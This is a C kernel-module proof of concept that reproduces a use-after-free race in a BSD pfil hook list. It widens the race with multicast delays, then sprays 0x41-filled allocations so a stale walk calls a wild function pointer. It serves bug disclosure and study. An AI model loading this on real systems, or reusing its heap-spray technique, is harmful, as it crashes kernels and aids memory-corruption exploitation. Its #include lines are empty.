/* * prhook.c -- pfil COW-list free race demonstrator (DF-3453) * * Registers two PFIL_OUT hooks (A always on, B toggled via sysctl). * Hook A busy-delays for multicast packets only, widening the window in * which a pfil_run_hooks() walk is "in flight" on a NON-netisr thread * (the softclock thread, driven by ip_mroute's tbf_reprocess_q callout). * * Toggling B off via `sysctl net.prhook.toggle=1` performs * pfil_remove_hook() -> COW list swap -> netmsg_service_sync() (which * only synchronizes with the netisr threads) -> pfil_list_free(). * A softclock-thread walk that is inside A's delay at that moment * resumes on the FREED list; the module then sprays+frees same-size * M_IFADDR chunks (0x41-filled) on netisr0 so the stale TAILQ chain * leads to a wild pfh->pfil_func call -> page fault. * * The module stays loaded the whole time (no code unmap); this isolates * the pure data-structure UAF in pfil.c. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include static int pr_delay_ms = 150; SYSCTL_INT(_net, OID_AUTO, prhook_delay_ms, CTLFLAG_RW, &pr_delay_ms, 0, "multicast busy delay in the A hook (ms)"); static int pr_state_b = 0; static struct pfil_head *pr_ph; /* instrumentation */ static long pr_n_delay; /* times the 120ms park ran (softclock) */ static long pr_n_toggle; /* COW mutations performed */ static long pr_n_spray_hit; /* spray kmallocs that returned a freed pfil chunk */ static long pr_n_walk_probe; /* tqh_first snapshots taken */ SYSCTL_LONG(_net, OID_AUTO, prhook_n_delay, CTLFLAG_RW, &pr_n_delay, 0, ""); SYSCTL_LONG(_net, OID_AUTO, prhook_n_toggle, CTLFLAG_RW, &pr_n_toggle, 0, ""); SYSCTL_LONG(_net, OID_AUTO, prhook_n_spray_hit, CTLFLAG_RW, &pr_n_spray_hit, 0, ""); SYSCTL_LONG(_net, OID_AUTO, prhook_n_walk_probe, CTLFLAG_RW, &pr_n_walk_probe, 0, ""); SYSCTL_INT(_net, OID_AUTO, prhook_state, CTLFLAG_RD, &pr_state_b, 0, "hook B state"); /* mirror of the private struct packet_filter_hook from pfil.c (36 bytes) */ struct pr_hook_mirror { struct pr_hook_mirror *tqe_next; /* TAILQ_ENTRY */ struct pr_hook_mirror **tqe_prev; int (*pfil_func)(void *, struct mbuf **, struct ifnet *, int); void *pfil_arg; int pfil_flags; }; #define PR_SPRAY 24 static int pr_delay_pkt(struct mbuf **mp) { struct mbuf *m = *mp; struct ip *ip; int i; if (m == NULL || m->m_len < sizeof(struct ip)) return 0; ip = mtod(m, struct ip *); if (ip->ip_v != IPVERSION || !IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) return 0; /* * Delay ONLY on the softclock thread (the non-netisr pfil walker * this PoC targets); delaying netisr walks would livelock the * network stack under load. */ if (strncmp(curthread->td_comm, "softclock", 9) != 0) return 0; atomic_add_long(&pr_n_delay, 1); for (i = 0; i < pr_delay_ms; i++) DELAY(1000); return 0; } static int pr_hook_a(void *arg, struct mbuf **mp, struct ifnet *ifp, int dir) { return pr_delay_pkt(mp); } static int pr_hook_b(void *arg, struct mbuf **mp, struct ifnet *ifp, int dir) { return pr_delay_pkt(mp); } /* * Runs on netisr0 (same CPU that ran pfil_list_free inside * pfil_remove_hook): drain the 36-byte M_IFADDR zone free chain, * scribble 0x41 over every chunk (including the just-freed hook * structs), then push them all back so the stale TAILQ chain leads * into poisoned memory. */ static void pr_spray(void) { void *p[PR_SPRAY]; int i; for (i = 0; i < PR_SPRAY; i++) { p[i] = kmalloc(sizeof(struct pr_hook_mirror), M_IFADDR, M_WAITOK | M_NULLOK); KKASSERT(p[i] != NULL); memset(p[i], 0x41, sizeof(struct pr_hook_mirror)); } for (i = 0; i < PR_SPRAY; i++) kfree(p[i], M_IFADDR); } struct netmsg_prhook { struct netmsg_base base; int on; }; static void pr_toggle_dispatch(netmsg_t nmsg) { struct netmsg_prhook *msg = (struct netmsg_prhook *)nmsg; void *probe1, *before_a, *before_b; KKASSERT(&curthread->td_msgport == netisr_cpuport(0)); if (msg->on) { if (pr_state_b == 0) { pfil_add_hook(pr_hook_b, NULL, PFIL_OUT, pr_ph); pr_state_b = 1; atomic_add_long(&pr_n_toggle, 1); } } else { if (pr_state_b == 1) { /* * Snapshot the live hook chunks we expect to be * freed by the COW remove, then remove, then probe * whether the allocator hands them straight back. * (plain pointer reads: tqh_first / tqe_next are at * offset 0 of their structures) */ before_a = *(void **)pr_ph->ph_out; before_b = *(void **)before_a; atomic_add_long(&pr_n_walk_probe, 1); pfil_remove_hook(pr_hook_b, NULL, PFIL_OUT, pr_ph); pr_state_b = 0; atomic_add_long(&pr_n_toggle, 1); probe1 = kmalloc(36, M_IFADDR, M_WAITOK | M_NULLOK); if (probe1 != NULL) { if (probe1 == before_a || probe1 == before_b) atomic_add_long(&pr_n_spray_hit, 1); kfree(probe1, M_IFADDR); } pr_spray(); } } lwkt_replymsg(&nmsg->base.lmsg, 0); } static int pr_sysctl_toggle(SYSCTL_HANDLER_ARGS) { struct netmsg_prhook msg; int error, v = 0; error = sysctl_handle_int(oidp, &v, 0, req); if (error != 0 || req->newptr == NULL) return (error); netmsg_init(&msg.base, NULL, &curthread->td_msgport, 0, pr_toggle_dispatch); msg.on = !pr_state_b; error = lwkt_domsg(netisr_cpuport(0), &msg.base.lmsg, 0); return (error); } SYSCTL_PROC(_net, OID_AUTO, prhook_toggle, CTLTYPE_INT | CTLFLAG_RW, 0, 0, pr_sysctl_toggle, "I", "toggle pfil hook B (COW add/remove mutation)"); static int prhook_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: pr_ph = pfil_head_get(PFIL_TYPE_AF, AF_INET); if (pr_ph == NULL) { kprintf("prhook: no inet pfil head\n"); return (ENODEV); } pfil_add_hook(pr_hook_a, NULL, PFIL_OUT, pr_ph); kprintf("prhook: A loaded (delay %d ms on mcast)\n", pr_delay_ms); return (0); case MOD_UNLOAD: pfil_remove_hook(pr_hook_a, NULL, PFIL_OUT, pr_ph); if (pr_state_b) { pfil_remove_hook(pr_hook_b, NULL, PFIL_OUT, pr_ph); pr_state_b = 0; } kprintf("prhook: unloaded\n"); return (0); default: return (EOPNOTSUPP); } } static moduledata_t prhook_mod = { "prhook", prhook_modevent, NULL }; DECLARE_MODULE(prhook, prhook_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);